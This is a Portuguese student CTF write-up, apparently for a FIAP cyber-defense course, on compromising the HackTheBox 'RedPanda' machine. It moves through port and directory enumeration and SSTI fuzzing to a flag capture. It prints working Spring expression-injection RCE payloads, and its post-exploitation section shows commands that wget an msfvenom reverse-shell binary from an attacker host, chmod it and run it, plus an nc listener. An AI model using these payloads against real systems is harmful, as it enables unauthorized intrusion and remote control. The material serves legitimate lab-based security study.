Escolar Documentos
Profissional Documentos
Cultura Documentos
CTF HackTheBox
(Fase 6)
1
Sumário
2.0 Resumo 4
3.0 Metodologia 5
3.1 Information Gathering 5
3.2 Enumeração de serviços 5
3.3 Exploração 15
3.4 Pós-exploração 18
4.0 Referências 20
2
1.0 Relatório de teste de penetração
1.1 Introdução
Este relatório de teste de penetração contém todos os esforços que foram realizados
para localizar as 2 flags existentes na máquina RedPanda, da plataforma HackTheBox.
Foi feita uma exposição dos caminhos escolhidos em cada execução para possibilitar
uma compreensão completa dos processos realizados ao se explorar as vulnerabilidades
encontradas e indicar maneiras de solucioná-las.
1.2 Objetivo
3
2.0 Resumo
Como parte dos estudos para o curso de Defesa Cibernética da FIAP, foi solicitada a
realização de um teste de penetração na máquina chamada “RedPanda”, da plataforma
HackTheBox. O objetivo geral é avaliar a rede, identificar sistemas e explorar falhas enquanto
buscamos as 2 flags.
4
3.0 Metodologia
Foi utilizada uma abordagem amplamente adotada para realizar testes de penetração
que é eficaz em testar a segurança dos laboratórios de segurança ofensiva e ambientes de
exames, através de 4 etapas:
1. Information Gathering;
2. Enumeração de serviços;
3. Exploração;
4. Pós Exploração
Abaixo está uma descrição de como foi possível identificar e explorar o sistema e as
vulnerabilidades individuais encontradas.
IP: 10.10.11.170
A ferramenta Nmap foi utilizada para a descoberta de portas abertas, bem como uma
coleta inicial de qual serviço estaria rodando em cada porta e possíveis vulnerabilidades
atreladas a estes serviços.
5
# nmap -v -p- -A 10.10.11.170 -oN htbredpanda
Ao identificar que a porta 8080 estava aberta rodando o serviço http, foi possível deduzir
que um servidor web estava rodando na máquina. Assim sendo, acessamos o endereço da
máquina pelo browser, no qual foi exibido a página a seguir:
6
Acesso ao endereço 10.10.11.170 através de um web browser
7
# gobuster dir -u http://10.10.11.170:8080 -e -w /usr/share/wordlists/dirb/big.txt > gobuster
8
Voltando para a página inicial, decidimos navegar para entender o seu funcionamento e
procurar algum ponto de exploração. A página inicial consiste somente de um campo de input,
em que o servidor faz uma busca baseada na entrada. Inserimos a palavra “teste”, que me foi
refletida junto com a mensagem de que não foram encontrados resultados.
9
Browser do Burp Suite
Com uma simples pesquisa na Web, encontramos um repositório com algumas SecLists
para efetuar um Fuzzing com a requisição interceptada.
10
Pesquisa de SecLists
11
SecList configurada para efetuar o Fuzzing
12
Fizemos o teste com o payload na página para ter mais uma confirmação.
Sabendo o modelo de template utilizado, nossa próxima ação foi verificar quais
caracteres especiais são suportados. Para isso, executamos um novo fuzzing, dessa vez
usando uma lista com caracteres especiais.
13
Fuzzing com caracteres especiais
14
3.3 Exploração
Assim sendo, iniciamos a busca por payloads maliciosos que pudéssemos usar para
explorar a vulnerabilidade. Acessamos um repositório no github que contém uma série de
payloads para SSTI
(https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-templ
ate-injection/el-expression-language.md). Começamos a testar alguns payloads de RCE que
estavam na página, e após inserir um deles mudando a expressão conseguimos executar um
comando na máquina remota:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("ls -la").getInputStream())}
15
Payload sendo processado pela engine
Tendo achado um payload válido para executar comandos, fizemos uma enumeração
usando o comando ls e mapeando os diretórios até achar a flag em /home/woodenk
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("ls
/home/woodenk/").getInputStream())}
Após conseguirmos achar o arquivo user.txt, apenas usamos o comando cat e tivemos
o conteúdo do arquivo impresso na tela. O valor retornado foi
7b98bf7bcbbd863411ebf6517eef2522.
16
O comando utilizado foi:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat
/home/woodenk/user.txt").getInputStream())}
17
3.4 Pós-exploração
A partir desse momento, o endereço está funcionando para efetuar RCE (Remote Code
Execution), ao injetar um “wget” é possível buscar algum arquivo na web ou na máquina
atacante.
Com o utilitário msfvenom, é possível criar um payload que forneça um shell reverso e
com o HttpServer do Python é possível disponibilizar esse payload para que a máquina alvo
consiga acessar através de um wget.
Com o comando a seguir, criamos um shell reverso com para a porta 443 na máquina
atacante e disponibilizamos o arquivo na porta 80:
Na máquina alvo, podemos injetar o código na caixa de pesquisa para executar o wget
no arquivo do payload, dar permissão total no arquivo com o payload e executar o arquivo com
o payload.
Os comandos para injetar nosso código na caixa são:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("wget
10.10.16.30/rm89146.elf").getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("chmod 777
./rm89146.elf").getInputStream())}
18
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("./rm89146.elf".getInputStream
()))}
Com o utilitário nc (NetCat) configurei a porta da minha máquina local que coloquei no
payload em modo de escuta, e ao executar o arquivo no sistema alvo foi possível ganhar
acesso ao shell.
nc -lvnp 443
19
4.0 Referências
20
SOHVAXUS. Gobuster guide and examples. Disponível em:
https://sohvaxus.github.io/content/gobuster.html .
21